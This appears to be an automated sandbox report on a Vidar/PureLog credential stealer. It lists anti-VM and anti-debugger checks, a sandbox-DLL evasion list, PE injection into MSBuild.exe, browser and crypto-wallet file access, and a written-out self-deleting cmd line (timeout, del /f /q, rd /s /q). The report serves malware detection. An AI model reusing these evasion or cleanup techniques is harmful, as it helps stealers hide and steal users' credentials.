Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win32.Malware-gen.198.6512.exe PID: 6580, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 6712, type: MEMORYSTR

Country aware sample found (crashes after keyboard check)

Source: c:\users\user\desktop\securiteinfo.com.win32.malware-gen.198.6512.exe

Event Logs and Signature results: Application crash and keyboard check

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: MSBuild.exe	Binary or memory string: DIR_WATCH.DLL
Source: MSBuild.exe	Binary or memory string: SBIEDLL.DLL
Source: MSBuild.exe	Binary or memory string: API_LOG.DLL
Source: MSBuild.exe, 00000001.00000002.2042878342.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: AHAL9THJOHNDOEAVGHOOKX.DLLAVGHOOKA.DLLSNXHK.DLLSBIEDLL.DLLAPI_LOG.DLLDIR_WATCH.DLLPSTOREC.DLLVMCHECK.DLLWPESPY.DLLCMDVRT32.DLLCMDVRT64.DLL

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Memory allocated: 2CC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Memory allocated: 2ED0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Memory allocated: 2CC0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\vcruntime140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\nss3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\ProgramData\AFCBAEBAEBFH\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Protect544cd51a.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\msvcp140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\sqls[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\ProgramData\AFCBAEBAEBFH\softokn3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\ProgramData\AFCBAEBAEBFH\freebl3.dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

API coverage: 9.3 %

Source: C:\Windows\SysWOW64\timeout.exe TID: 7032

Thread sleep count: 89 > 30

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_0040FCE5 GetKeyboardLayoutList followed by cmp: cmp eax, ebx and CTI: jbe 0040FDF8h

1_2_0040FCE5

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00401162 _EH_prolog,FindFirstFileA,StrCmpCA,StrCmpCA,FindFirstFileA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_00401162
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_004162AF _EH_prolog,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_004162AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_004153F6 _EH_prolog,wsprintfA,FindFirstFileA,memset,memset,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,memset,lstrcat,strtok_s,memset,lstrcat,PathMatchSpecA,DeleteFileA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,strtok_s,FindNextFileA,FindClose,	1_2_004153F6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040B463 _EH_prolog,FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_0040B463
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_004094E5 _EH_prolog,FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	1_2_004094E5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040C679 _EH_prolog,FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_0040C679
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00415AC2 _EH_prolog,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	1_2_00415AC2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00409F72 _EH_prolog,FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,	1_2_00409F72
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00409900 _EH_prolog,StrCmpCA,FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_00409900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040A981 _EH_prolog,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	1_2_0040A981
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00415E66 _EH_prolog,GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlenA,lstrlenA,	1_2_00415E66

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00415843 _EH_prolog,GetLogicalDriveStringsA,memset,GetDriveTypeA,lstrcpy,lstrcpy,lstrcpy,lstrlenA,

1_2_00415843

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_0040FE81 GetSystemInfo,wsprintfA,

1_2_0040FE81

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: Amcache.hve.4.dr	Binary or memory string: VMware
Source: Amcache.hve.4.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.4.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.4.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.4.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.4.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.4.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.4.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: MSBuild.exe, 00000001.00000002.2045233748.0000000000FDA000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2045233748.0000000000F68000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.4.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.4.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.4.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.4.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.4.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.4.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.4.dr	Binary or memory string: vmci.syshbin`
Source: MSBuild.exe, 00000001.00000002.2045233748.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\{
Source: Amcache.hve.4.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.4.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: MSBuild.exe, 00000001.00000002.2047307875.0000000007D10000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwarem F5
Source: Amcache.hve.4.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.4.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.4.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.4.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: MSBuild.exe, 00000001.00000002.2047307875.0000000007D10000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Amcache.hve.4.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.4.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.4.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.4.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.4.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.4.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.4.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.4.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	API call chain: ExitProcess graph end node			graph_0-58062
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API call chain: ExitProcess graph end node			graph_1-53585

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe

Code function: 0_2_6D06948B IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

0_2_6D06948B

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe

Code function: 0_2_6D01B6C0 GetModuleHandleW,GetModuleHandleW,LoadLibraryW,GetProcAddress,__cftoe,GetModuleHandleW,GetProcAddress,

0_2_6D01B6C0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00401000 GetProcessHeap,HeapAlloc,RegOpenKeyExA,RegQueryValueExA,RegCloseKey,

1_2_00401000

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: 0_2_6D06948B IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_6D06948B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Code function: 0_2_6D06B144 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6D06B144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041937F memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_0041937F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041E438 SetUnhandledExceptionFilter,	1_2_0041E438
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041A8A7 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_0041A8A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CD0AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_6CD0AC62

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win32.Malware-gen.198.6512.exe PID: 6580, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 6712, type: MEMORYSTR

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A

Jump to behavior

Searches for specific processes (likely to inject)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_004111BE _EH_prolog,CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

1_2_004111BE

Writes to foreign memory regions

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 422000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 42E000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 641000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: A1E008	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout /t 10 & del /f /q "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe" & rd /s /q "C:\ProgramData\AFCBAEBAEBFH" & exit	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_6CD54760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

1_2_6CD54760

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe

Code function: 0_2_6D0684B0 cpuid

0_2_6D0684B0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: _EH_prolog,GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

1_2_0040FCE5

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe

Code function: 0_2_6D06A25A GetSystemTimeAsFileTime,__aulldiv,

0_2_6D06A25A

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_0040FBCB GetProcessHeap,HeapAlloc,GetUserNameA,

1_2_0040FBCB

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_0040FC92 GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

1_2_0040FC92

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.198.6512.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.4.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.4.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.4.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.4.dr	Binary or memory string: MsMpEng.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct

Stealing of Sensitive Information

Yara detected PureLog Stealer

Source: Yara match	File source: SecuriteInfo.com.Win32.Malware-gen.198.6512.exe, type: SAMPLE
Source: Yara match	File source: 0.0.SecuriteInfo.com.Win32.Malware-gen.198.6512.exe.5a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1624122549.00000000005A2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY

Yara detected Vidar

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.Malware-gen.198.6512.exe.3f3d5c0.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.Malware-gen.198.6512.exe.3f3d5c0.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.Malware-gen.198.6512.exe.3f6f5f0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.Malware-gen.198.6512.exe.3f6f5f0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1764198655.0000000003F6F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2042878342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1764198655.0000000003F0B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1763723745.0000000002F96000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2045233748.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1769696324.0000000005DC7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win32.Malware-gen.198.6512.exe PID: 6580, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 6712, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

